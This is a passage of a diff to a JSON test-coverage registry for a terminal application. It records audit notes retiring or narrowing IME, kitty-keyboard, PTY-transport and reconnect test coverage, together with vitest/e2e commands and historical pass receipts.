+        "Audit3359 historical original assertionRefs object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n{\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-handoff.test.ts\",\n          \"assertions\": [\n            \"a stale create completion cannot replace or close a newer attachment, including when two runtimes use the same raw handle\"\n          ]\n        }",
+        "Audit3368 narrows stream-reconnect coverage to the actual ten synthetic transport epochs retaining one PTY identity, accepting and holding detached input for exactly-once later delivery, current decoded output and per-epoch subscription release. Prior rejection wording was inaccurate. Phase/backoff/cutoff/manual reconnect and parser/OSC/pause/retained-image/fatal/latch/claim/early-close alarms are intentionally lost without equivalent replacement. The Linux multi-pane reconnect receipt remains verbatim with its original scope; no fresh live SSH/provider/PTY/UI/mobile/mixed-version/cross-platform evidence is claimed.",
+        "Audit3368 historical original assertionRefs object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n{\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts\",\n          \"assertions\": [\n            \"recovery exposes connecting, recovering, backoff, connected, and fatal-offline phases with fenced epochs\",\n            \"ten partition cycles retain one PTY identity, reject detached input, and unsubscribe each epoch exactly once\",\n            \"automatic retries stop after one minute with no fatal error, no further requests, and no stale input\",\n            \"manual reconnect starts a new epoch, resubscribes the same PTY exactly once, and becomes healthy only after its snapshot\"\n          ]\n        }"
       ],
       "demotionRule": "Cannot promote if provider failure can close panes or if the oracle is screenshot-only."
     },
@@ -10095,7 +9823,7 @@
       "commands": [
         "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-native-text-forwarder.test.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-macos-keybinding-dict-trace.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-linux-fcitx4-trace-replay.test.ts",
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-midline-preedit-tail.test.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-resumed-preedit-visibility.test.ts src/renderer/src/lib/pane-manager/terminal-ime-candidate-anchor.test.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-composer-placeholder-mask.test.ts src/shared/terminal/input/terminal-composer-draft.test.ts src/main/daemon/emulation/testing/terminal-cursor-line-context.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-resumed-preedit-visibility.test.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-composer-placeholder-mask.test.ts src/shared/terminal/input/terminal-composer-draft.test.ts src/main/daemon/emulation/testing/terminal-cursor-line-context.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/dashboard-popout/preview-terminal-ime-bridge-kitty-bytes.test.ts src/renderer/src/components/dashboard-popout/AgentTerminalPreview.test.tsx src/shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker.test.ts src/main/ipc/terminal-preview-output-stream.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts src/renderer/src/lib/keyboard-layout/layout-base-character.test.ts src/main/ipc/macos-keyboard-layout-change-notifications.test.ts src/preload/app-restart-checkpoint-routing.test.ts src/renderer/src/web/web-preload-api-ui.test.ts",
         "pnpm run test:e2e -- tests/e2e/chinese-ime-chat-input-repro.spec.ts",
@@ -10107,9 +9835,7 @@
         "src/renderer/src/components/terminal-pane/input/ime/terminal-ime-native-text-forwarder.test.ts",
         "src/renderer/src/components/terminal-pane/input/ime/terminal-ime-macos-keybinding-dict-trace.test.ts",
         "src/renderer/src/components/terminal-pane/input/ime/terminal-ime-linux-fcitx4-trace-replay.test.ts",
-        "src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-midline-preedit-tail.test.ts",
         "src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-resumed-preedit-visibility.test.ts",
-        "src/renderer/src/lib/pane-manager/terminal-ime-candidate-anchor.test.ts",
         "src/renderer/src/components/terminal-pane/input/ime/terminal-ime-composer-placeholder-mask.test.ts",
         "src/shared/terminal/input/terminal-composer-draft.test.ts",
         "src/main/daemon/emulation/testing/terminal-cursor-line-context.test.ts",
@@ -10136,13 +9862,6 @@
             "an XIM pick's code-less keydown pairs with its keyup so kitty event reporting sends one release per pick"
           ]
         },
-        {
-          "file": "src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-midline-preedit-tail.test.ts",
-          "assertions": [
-            "With supplied geometry, competing xterm render and Orca clamp preserve final-cell caret/candidate anchor positions.",
-            "Actual xterm buffer repaint updates the row tail while the preedit remains open."
-          ]
-        },
         {
           "file": "src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-resumed-preedit-visibility.test.ts",
           "assertions": ["A transaction inferred from update alone commits and cleans up."]
@@ -10266,6 +9985,9 @@
         "Pair with Windows ConPTY keyboard reset for Windows standard-key behavior."
       ],
       "knownGaps": [
+        "NEXT65 current scope qualification: The NEXT65 knownGaps entries below govern the changed selectors and qualify any broader coverage implication in this gate’s unchanged oracle/coverageNotes narratives. Those narratives and preserved dated evidenceRuns retain their historical text and original exact execution scopes only; no fresh execution, transferred pass or equivalent replacement coverage is claimed. Upstream case removals remain upstream; original NEXT65 proposal descriptions grant no duplicate retirement credit.",
+        "NEXT65 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-midline-preedit-tail.test.ts, src/renderer/src/lib/pane-manager/terminal-ime-candidate-anchor.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence.",
+        "NEXT65 historical original active selector fields (verbatim JSON values; not current coverage):\ncommands: [\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-native-text-forwarder.test.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-macos-keybinding-dict-trace.test.ts\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-linux-fcitx4-trace-replay.test.ts\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-midline-preedit-tail.test.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-resumed-preedit-visibility.test.ts src/renderer/src/lib/pane-manager/terminal-ime-candidate-anchor.test.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-composer-placeholder-mask.test.ts src/shared/terminal/input/terminal-composer-draft.test.ts src/main/daemon/emulation/testing/terminal-cursor-line-context.test.ts\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/dashboard-popout/preview-terminal-ime-bridge-kitty-bytes.test.ts src/renderer/src/components/dashboard-popout/AgentTerminalPreview.test.tsx src/shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker.test.ts src/main/ipc/terminal-preview-output-stream.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts src/renderer/src/lib/keyboard-layout/layout-base-character.test.ts src/main/ipc/macos-keyboard-layout-change-notifications.test.ts src/preload/app-restart-checkpoint-routing.test.ts src/renderer/src/web/web-preload-api-ui.test.ts\",\n        \"pnpm run test:e2e -- tests/e2e/chinese-ime-chat-input-repro.spec.ts\",\n        \"pnpm run test:e2e -- tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts\",\n        \"pnpm run test:e2e -- tests/e2e/terminal-option-composed-ascii.spec.ts\"\n      ]\ntestFiles: [\n        \"tests/e2e/terminal-option-composed-ascii.spec.ts\",\n        \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-native-text-forwarder.test.ts\",\n        \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-macos-keybinding-dict-trace.test.ts\",\n        \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-linux-fcitx4-trace-replay.test.ts\",\n        \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-midline-preedit-tail.test.ts\",\n        \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-resumed-preedit-visibility.test.ts\",\n        \"src/renderer/src/lib/pane-manager/terminal-ime-candidate-anchor.test.ts\",\n        \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-composer-placeholder-mask.test.ts\",\n        \"src/shared/terminal/input/terminal-composer-draft.test.ts\",\n        \"src/main/daemon/emulation/testing/terminal-cursor-line-context.test.ts\",\n        \"src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts\",\n        \"src/renderer/src/lib/keyboard-layout/layout-base-character.test.ts\",\n        \"src/main/ipc/macos-keyboard-layout-change-notifications.test.ts\",\n        \"src/preload/app-restart-checkpoint-routing.test.ts\",\n        \"src/renderer/src/web/web-preload-api-ui.test.ts\",\n        \"src/renderer/src/components/dashboard-popout/preview-terminal-ime-bridge-kitty-bytes.test.ts\",\n        \"src/renderer/src/components/dashboard-popout/AgentTerminalPreview.test.tsx\",\n        \"src/shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker.test.ts\",\n        \"src/main/ipc/terminal-preview-output-stream.test.ts\",\n        \"src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts\",\n        \"tests/e2e/chinese-ime-chat-input-repro.spec.ts\",\n        \"tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts\",\n        \"tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts\"\n      ]\nassertionRefs: [\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-linux-fcitx4-trace-replay.test.ts\",\n          \"assertions\": [\n            \"real fcitx4 Sogou captures (GTK module and XIM) send only the committed candidate for Space and digit picks, under legacy keys and kitty flags 1 and 5\",\n            \"a real fcitx4 Google Pinyin in-client preedit still commits through the composition path\",\n            \"an XIM pick's code-less keydown pairs with its keyup so kitty event reporting sends one release per pick\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-midline-preedit-tail.test.ts\",\n          \"assertions\": [\n            \"With supplied geometry, competing xterm render and Orca clamp preserve final-cell caret/candidate anchor positions.\",\n            \"Actual xterm buffer repaint updates the row tail while the preedit remains open.\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-resumed-preedit-visibility.test.ts\",\n          \"assertions\": [\"A transaction inferred from update alone commits and cleans up.\"]\n        },\n        {\n          \"file\": \"tests/e2e/terminal-option-composed-ascii.spec.ts\",\n          \"assertions\": [\n            \"a live kitty-negotiated pane receives the Option-composed ASCII character, not the physical alt chord\",\n            \"an Option layer that also needs Shift still reaches the pty as text\",\n            \"configured Option-as-Alt still reports the layout-resolved physical chord\",\n            \"a non-ASCII Option glyph still reaches the application as its alt hotkey\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts\",\n          \"assertions\": [\n            \"Autorepeat cannot replace the first release sender; a fresh press can replace an orphaned sender for the same key.\"\n          ]\n        },\n        {\n          \"file\": \"src/main/ipc/macos-keyboard-layout-change-notifications.test.ts\",\n          \"assertions\": [\n            \"rapid input-source changes coalesce to one latest-generation refresh signal\"\n          ]\n        },\n        {\n          \"file\": \"src/preload/app-restart-checkpoint-routing.test.ts\",\n          \"assertions\": [\n            \"macOS keyboard reads and the change subscription remain wired after main integration\",\n            \"the two-phase change payload reaches the renderer unchanged\",\n            \"the subscription disposer removes the exact IPC listener\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/dashboard-popout/preview-terminal-ime-bridge-kitty-bytes.test.ts\",\n          \"assertions\": [\n            \"the real forwarder behind the Preview bridge encodes the commit from the snapshot-proven flags before any live output\",\n            \"flags 0/1 commit raw text, flags 2 add one CSI-u release, flags 8 emit one CSI-u press, and flags 10 emit a CSI-u press followed by exactly one release\",\n            \"both keydown->insertText->keyup and keydown->keyup->insertText orderings produce the same bytes\",\n            \"the release is emitted by the forwarder while xterm's internal kitty flags stay 0\",\n            \"the mutable flags getter is read exactly once, at commit time, never on keydown or keyup\",\n            \"auto-repeat, two-key rollover, a swallowed commit, a retired claim, blur, and disposal each emit at most one release and never synthesize one\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/dashboard-popout/AgentTerminalPreview.test.tsx\",\n          \"assertions\": [\n            \"the Preview hands the forwarder the live kitty mirror seeded from the snapshot's proven flags\"\n          ]\n        },\n        {\n          \"file\": \"src/shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker.test.ts\",\n          \"assertions\": [\n            \"a fresh PTY's known 0 is distinguishable from a snapshot's unproven 0 fallback\",\n            \"restoreSnapshotFlags proves only the active screen\",\n            \"provenance survives absolute sets, screen switches, RIS and DECSTR, but a pop past omitted push history returns to unknown rather than a manufactured 0\"\n          ]\n        },\n        {\n          \"file\": \"src/main/ipc/terminal-preview-output-stream.test.ts\",\n          \"assertions\": [\n            \"a partially covered sequenced chunk retains exactly its unseen suffix in live mode\",\n            \"a transformed overlap remains unsliced in replay mode\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/chinese-ime-chat-input-repro.spec.ts\",\n          \"assertions\": [\n            \"Sogou-style Space candidate selection submits only the committed Chinese character\",\n            \"Sogou-style digit candidate selection submits only the committed Chinese phrase\",\n            \"Post-composition Sogou-style digit selection stays out of the PTY after compositionend\",\n            \"Legacy orphaned-letter-keyup digit selection submits no selector byte to the PTY; real legacy candidate commit preservation remains a platform gap\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts\",\n          \"assertions\": [\n            \"the rendered final-column preedit caret remains inside the terminal screen\",\n            \"a rendered full-width Korean preedit spans materially more than the one terminal cell reported in #12729\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts\",\n          \"assertions\": [\n            \"the rendered opaque overlay reproduces every committed row-tail cell its measured rectangle hides\",\n            \"a real Codex placeholder with bold prompt, blank footer gap, model footer, and cursor at column 2 stays masked\"\n          ]\n        }\n      ]",
         "Audit2133 current-parent preparation (988 authored removals; independently reviewed2099/2107/2115/2116 decisions; upstream clear-buffer and recovery-image regressions retained): Intentionally retire these low-value alarms without replacement: tests/e2e/claude-agent-row-view.unit.test.ts: updates a mounted compact workflow description through the subscribed production parent; bounds upstream active-SSH visits for $population records, fallback=$fallback; derives %s destinations without requiring type or a workflow child ID; terminates a $path parent $status with no third request or intermediate toast; does not recover a first child %s. tests/e2e/cross-version-wire/agent-permission-legacy-spawn.unit.test.ts: keeps exact legacy ordering when structured creation cannot express afterTabId; can create a terminal without selecting the target worktree; preserves the legacy fresh-agent path when host authority is unavailable. tests/e2e/paired-instant-browser-tab.spec.ts: shows a paired browser tab before its create RPC resolves, then keeps it as one tab; adopts a paired browser tab without rebuilding its chrome. tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts: bounds host publication and renderer application across remote worktrees; globally caps decorative freshness while every working status stays fresh. tests/e2e/session-tabs/mobile-session-active-performance.unit.test.ts: bounds saved-order publication selection at N and 10N without rematerializing navigation; bounds admitted placement reconciliation during supported reads at N and 10N; bounds selection input visits at 50 and 500 rows, including unavailable-target projection; keeps publication scoped to a changed worktree and shared by listeners at N and 10N; bounds preserved-chat merge and runtime-owned hydration at N and 10N (legacy=%s); bounds actual native retirement and shared delivery work at N and 10N. tests/e2e/session-tabs/mobile-session-active-publication.unit.test.ts: does not substitute a preserved row for an unavailable explicit legacy selection; resolves main-layout group selection %s (omitted group=%s). tests/e2e/structured-agent-session-launch-admission.unit.test.ts: opens a direct caller's terminal with the caller's own CLI arguments on a decline; opens the chat on the server that admitted it; opens only the terminal when this machine declines, without a notice; opens a new agent tab's terminal with the typed prompt when the caller names none; opens the chat, not a terminal, when this machine cannot resolve a new workspace yet; keeps its terminal fallback, as before. tests/e2e/structured-attention-prompt-relay.unit.test.ts: settles once per relayed prompt, not on every later status update. tests/e2e/structured-attention-read-retirement.unit.test.ts: Mark read on a chat never opened withdraws the prompt alert it surfaced; Mark read on a chat hidden since an earlier view covers the newer prompt it surfaced; reads a newly accepted visible prompt without sending an RPC for text-only updates. tests/e2e/structured-chat-tab-lifetime-cost.unit.test.ts: counts real raw stores, unrelated window publications and captured cleanup at %i chats; counts complete supplied-member sweep and separate final retirement at S=%i N=%i. tests/e2e/structured-session-workspace-authority.unit.test.ts: bounds actual target reveal across %i repo roots and metadata aliases. tests/e2e/terminal-agent-pane-launch.unit.test.ts: starts the host's planned command once, at the pane's size, and says it started; plans a pane whose prompt the window submits without the startup update prompt; preserves caller shell-ready delivery only for a connection-scoped adapter ($connectionId); starts no shell on plan failure (original failure: $returnLaunchFailure); cannot confirm a start whose provider answer was lost. tests/e2e/terminal-parked-memory.spec.ts: releases renderer terminal memory when hidden tabs park. tests/e2e/terminal-shortcuts.spec.ts: @headful Codex-like background output stays visible without disabling WebGL in auto mode; Shift with Russian layout text reaches the PTY as Cyrillic under kitty keyboard reporting. tests/e2e/terminal-split-activation-latency.spec.ts: records attributed CWD, spawn, bind, fixture-ready, input, and echo phases. tests/e2e/terminal-split-activation-latency-phases.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-split-activation-latency-main-probe.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-split-activation-latency-artifact.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-split-activation-latency-report.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-tab-switch-visual-restore.spec.ts: restores skipped hidden Grok output on light tab resume. tests/e2e/web-runtime-session-terminal-host-authority.unit.test.ts: delivers independent %s effort through the real prepared web callback; keeps same-ID local and runtime worktrees on the selected runtime owner; creates paired web agents through host authority so activation is mirrored; delivers generated continuation context after host-authoritative creation; seeds the chat composer for a draft that rode in on the launch command. Current changed source bytes, wrapper registrations and reduced selectors have no fresh execution or red/green credit. Unrelated surviving receipt objects keep their original narrow scope; current literal graph reachability does not establish historical import closure or equivalent replacement coverage. Current conservative command/import graph reaches tests/e2e/claude-agent-row-view.unit.test.ts, tests/e2e/cross-version-wire/agent-permission-legacy-spawn.unit.test.ts, tests/e2e/paired-instant-browser-tab.spec.ts, tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts, tests/e2e/session-tabs/mobile-session-active-performance.unit.test.ts, tests/e2e/session-tabs/mobile-session-active-publication.unit.test.ts, tests/e2e/structured-agent-session-launch-admission.unit.test.ts, tests/e2e/structured-attention-prompt-relay.unit.test.ts, tests/e2e/structured-attention-read-retirement.unit.test.ts, tests/e2e/structured-chat-tab-lifetime-cost.unit.test.ts, tests/e2e/structured-session-workspace-authority.unit.test.ts, tests/e2e/terminal-agent-pane-launch.unit.test.ts, tests/e2e/terminal-parked-memory.spec.ts, tests/e2e/terminal-shortcuts.spec.ts, tests/e2e/terminal-split-activation-latency.spec.ts, tests/e2e/terminal-split-activation-latency-phases.ts, tests/e2e/terminal-split-activation-latency-main-probe.ts, tests/e2e/terminal-split-activation-latency-artifact.ts, tests/e2e/terminal-split-activation-latency-report.ts, tests/e2e/terminal-tab-switch-visual-restore.spec.ts, tests/e2e/web-runtime-session-terminal-host-authority.unit.test.ts. Unresolved local/computed edges remain explicit debt.",
         "Audit2095 current-parent preparation2126 (approved2092/2093 removals; source refresh2109/independent2112): Intentionally retire these low-value alarms without replacement: tests/e2e/automation-terminal-launch.unit.test.ts: launches explicit Chat for %s through the common entry and keeps its actual fallback; does not apply stored Terminal extras to Chat; forwards only complete Chat-consumed values, with no Terminal startup base; refuses an expired admission without minting another launch identity; records the actual chat identity and delegates new workspace setup and provenance. tests/e2e/github-project-provider-columns.unit.test.ts: renders %s through one bounded items request on a named cloud host; preserves zero and complete counters: %j; preserves populated and legacy rows through shared sorting, grouping and cells. tests/e2e/structured-agent-session-launch-continuation.unit.test.ts: carries renderer lifetime through host intent to the real %s provider builders. tests/e2e/terminal-account-restart.unit.test.ts: replaces a tombstoned owner while its persisted pane binding has not yet been cleared; paired restart retains the old owner (host authority: %s). tests/e2e/terminal-hidden-view-parking.spec.ts: does not park excluded tabs; reproduces a static frame byte-for-byte across 25 park/reveal cycles. tests/e2e/terminal-long-table-scroll-restore.spec.ts: reproduces long markdown table artifacts after workspace switch and scroll; keeps narrow wrapped signer markdown table coherent after restore and scroll; keeps real emoji markdown table right edge clean after restore and scroll. tests/e2e/terminal-long-table-fixtures.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-paste-ownership.spec.ts: Windows multiline keyboard paste normalizes terminal newlines with one PTY owner; right-click paste sends clipboard text to the focused terminal exactly once. tests/e2e/terminal-raw-emoji-table-scroll-restore.spec.ts: uses WebGL by default for ordinary terminal output when available @terminal-rendering-golden. tests/e2e/terminal-windows-shell-paste-ownership.spec.ts: cmd.exe default terminal keyboard paste preserves exact content with one PTY owner; Git Bash default terminal keyboard paste preserves POSIX-shaped content with one PTY owner; WSL terminal keyboard paste preserves Linux shell content with one PTY owner. tests/e2e/workspace-board-lane-virtualization.spec.ts: mounts a window of cards for a large lane and keeps lane indexes; renders later lane indexes after the lane scrolls. Current changed source bytes, wrapper registrations and reduced selectors have no fresh execution or red/green credit. Unrelated surviving receipt objects keep their original narrow scope; current literal graph reachability does not establish historical import closure or equivalent replacement coverage. Current conservative command/import graph reaches tests/e2e/automation-terminal-launch.unit.test.ts, tests/e2e/github-project-provider-columns.unit.test.ts, tests/e2e/structured-agent-session-launch-continuation.unit.test.ts, tests/e2e/terminal-account-restart.unit.test.ts, tests/e2e/terminal-hidden-view-parking.spec.ts, tests/e2e/terminal-long-table-scroll-restore.spec.ts, tests/e2e/terminal-long-table-fixtures.ts, tests/e2e/terminal-paste-ownership.spec.ts, tests/e2e/terminal-raw-emoji-table-scroll-restore.spec.ts, tests/e2e/terminal-windows-shell-paste-ownership.spec.ts, tests/e2e/workspace-board-lane-virtualization.spec.ts. Unresolved local/computed edges remain explicit debt. Complete dated receipts with direct selectors or current literal graph reaching tests/e2e/automation-terminal-launch.unit.test.ts, tests/e2e/github-project-provider-columns.unit.test.ts, tests/e2e/structured-agent-session-launch-continuation.unit.test.ts, tests/e2e/terminal-account-restart.unit.test.ts, tests/e2e/terminal-hidden-view-parking.spec.ts, tests/e2e/terminal-long-table-scroll-restore.spec.ts, tests/e2e/terminal-long-table-fixtures.ts, tests/e2e/terminal-paste-ownership.spec.ts, tests/e2e/terminal-raw-emoji-table-scroll-restore.spec.ts, tests/e2e/terminal-windows-shell-paste-ownership.spec.ts, tests/e2e/workspace-board-lane-virtualization.spec.ts are retired below as historical raw objects; their counts do not validate reduced commands. Historical retired receipt verbatim:\n{\n          \"date\": \"2026-08-16\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm run test:e2e -- tests/e2e/terminal-option-composed-ascii.spec.ts\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 66,\n          \"summary\": \"Four live-Electron scenarios passed against a real pty whose kitty flags were armed by the application's own CSI > 1 u: Option-composed `@` and Option+Shift-composed `\\\\` arrive as text with no alt chord, configured Option-as-Alt still reports the layout-resolved chord, and a non-ASCII Option glyph still reaches the application as its alt hotkey. Discrimination was proven by mutation rather than assumed — restoring the pre-fix policy makes exactly the two composed-text scenarios fail with the character never reaching the pty, while both chord scenarios stay green.\"\n        } Historical retired receipt verbatim:\n{\n          \"date\": \"2026-08-16\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm run test:e2e -- tests/e2e/chinese-ime-chat-input-repro.spec.ts\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 13.9,\n          \"summary\": \"The Electron live-PTY IME gate passed three scenarios covering Windows IME Shift commit, candidate-selector suppression with committed Chinese text, and composed text/cursor/Backspace stability; the opt-in real-agent scenario remained skipped.\"\n        } Historical retired receipt verbatim:\n{\n          \"date\": \"2026-07-11\",\n          \"runner\": \"local\",\n          \"platform\": \"linux\",\n          \"command\": \"pnpm run test:e2e -- tests/e2e/chinese-ime-chat-input-repro.spec.ts\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 30.3,\n          \"summary\": \"Debian 12 arm64 Docker with Node 24 and Xvfb passed both live Electron/PTY IME scenarios; the orphaned-letter-keyup candidate digit submitted no selector byte, and the real-Codex opt-in scenario was skipped.\"\n        } Historical retired receipt verbatim:\n{\n          \"date\": \"2026-07-07\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm run test:e2e -- tests/e2e/chinese-ime-chat-input-repro.spec.ts\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 72,\n          \"summary\": \"Electron/CDP IME repro passed: Sogou candidate selection, post-composition candidate selection, and existing Chinese IME harness passed; real Codex IME test was skipped behind ORCA_E2E_REAL_CODEX_IME.\"\n        }",
         "Audit2090 (sources2088/2089): Intentionally retire these low-value alarms without replacement: tests/e2e/terminal-option-composed-ascii.spec.ts: still reports the Alt chord when Option is configured as Alt. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. The historical receipt/currentCommand selecting tests/e2e/terminal-option-composed-ascii.spec.ts remains historical and is not a passing result for the reduced current command.",
@@ -11831,14 +11553,14 @@
       "providers": ["local", "daemon", "ssh"],
       "coveredPlatforms": ["macos"],
       "coveredProviders": ["local"],
-      "coverageNotes": "Audit3086: retire the immediate-reply ceiling and thrown renderer-write recovery aliases. Narrow FIFO coverage to deferred preconnect validation and teardown coverage to natural-exit stale ordinary/accepted tails; live acknowledged barriers and disconnect/detach branches are intentionally retired. Prior queue cleanup and unchanged Electron receipts remain exact; no replacement or fresh execution is claimed. Audit1878 retires the dated reduced-source unit receipt. Only the unchanged macOS local Electron receipts remain current, scoped to their exact commands; reduced unit selectors and SSH have no current execution receipt. Historical pre-audit coverageNotes: Deterministic renderer and IPC-transport tests prove count and text ceilings, oldest-reply shedding, explicit query-reply source routing, ordinary-input preservation, acknowledged-write FIFO barriers, single-worker drain reentrancy, one-reply-per-write delivery for OSC, DA1, and CPR replies, real xterm OSC reply generation, drain-failure containment, teardown settlement, and clear/reuse generation fencing. Remote-runtime tests preserve separate query-reply writes across pending input, async validation, and viewport-claim buffering. Host-contract tests prove a later DA1/CPR reply cannot overtake a deferred OSC reply, including a coalesced legacy-client payload. Live macOS Electron tests cover local PTY OSC replies and interactive typing; a macOS-hosted Docker OpenSSH test proves an upstream-node-pty Linux relay keeps OSC/DA1 replies out of the next fish child's stdin. No live daemon, paired-runtime, WSL, physical Linux/Windows client, or binary mixed-version run is registered.",
+      "coverageNotes": "Audit3362 retires the 10,000-query newest64 viewport-claim flood-cap assertion and second-chunk refusal, coalescing/burst/limit/yield and constant examples. The surviving ordinary/query/ordinary binary-frame ordering and UTF8 emoji-safe acknowledged chunk cases retain narrower coverage. Unit commands/test-file selectors remain; the first binary-order assertion stays exact. Two unrelated macOS E2E receipts remain verbatim with their original scope. No equivalent replacement or fresh runtime/PTY/provider/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit 3312 reduces remote-runtime-pty-batching.test.ts, intentionally losing idle leading/trailing coalescing, leading-edge-disabled, accumulated byte-ceiling flush, standalone synchronous oversized-input rejection, accepted-input validation yield, deferred pending-tail byte order, and queued-viewport clear/flush and timer-cancellation alarms. The unchanged UTF-8 splitting, validation barrier ordering and asynchronous oversized-input nondelivery cases are narrower, not equivalent replacements. The barrier assertion and both existing Electron receipts remain unchanged and do not validate these retired cases. No fresh runtime, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3292 retires the empty-queue immediate query-reply delivery example from remote-runtime-pty-query-reply-immediate.test.ts. Pending ordinary-input separation and asynchronous paste-validation ordering cases remain byte-identical, matching the existing assertion reference. The no-pending-input delivery alarm is intentionally lost without equivalent replacement. Existing selectors, unchanged local Electron receipts and historical receipts remain exact; no new runtime, PTY deadline, platform or mixed-version result is claimed. Audit3086: retire the immediate-reply ceiling and thrown renderer-write recovery aliases. Narrow FIFO coverage to deferred preconnect validation and teardown coverage to natural-exit stale ordinary/accepted tails; live acknowledged barriers and disconnect/detach branches are intentionally retired. Prior queue cleanup and unchanged Electron receipts remain exact; no replacement or fresh execution is claimed. Audit1878 retires the dated reduced-source unit receipt. Only the unchanged macOS local Electron receipts remain current, scoped to their exact commands; reduced unit selectors and SSH have no current execution receipt. Historical pre-audit coverageNotes: Deterministic renderer and IPC-transport tests prove count and text ceilings, oldest-reply shedding, explicit query-reply source routing, ordinary-input preservation, acknowledged-write FIFO barriers, single-worker drain reentrancy, one-reply-per-write delivery for OSC, DA1, and CPR replies, real xterm OSC reply generation, drain-failure containment, teardown settlement, and clear/reuse generation fencing. Remote-runtime tests preserve separate query-reply writes across pending input, async validation, and viewport-claim buffering. Host-contract tests prove a later DA1/CPR reply cannot overtake a deferred OSC reply, including a coalesced legacy-client payload. Live macOS Electron tests cover local PTY OSC replies and interactive typing; a 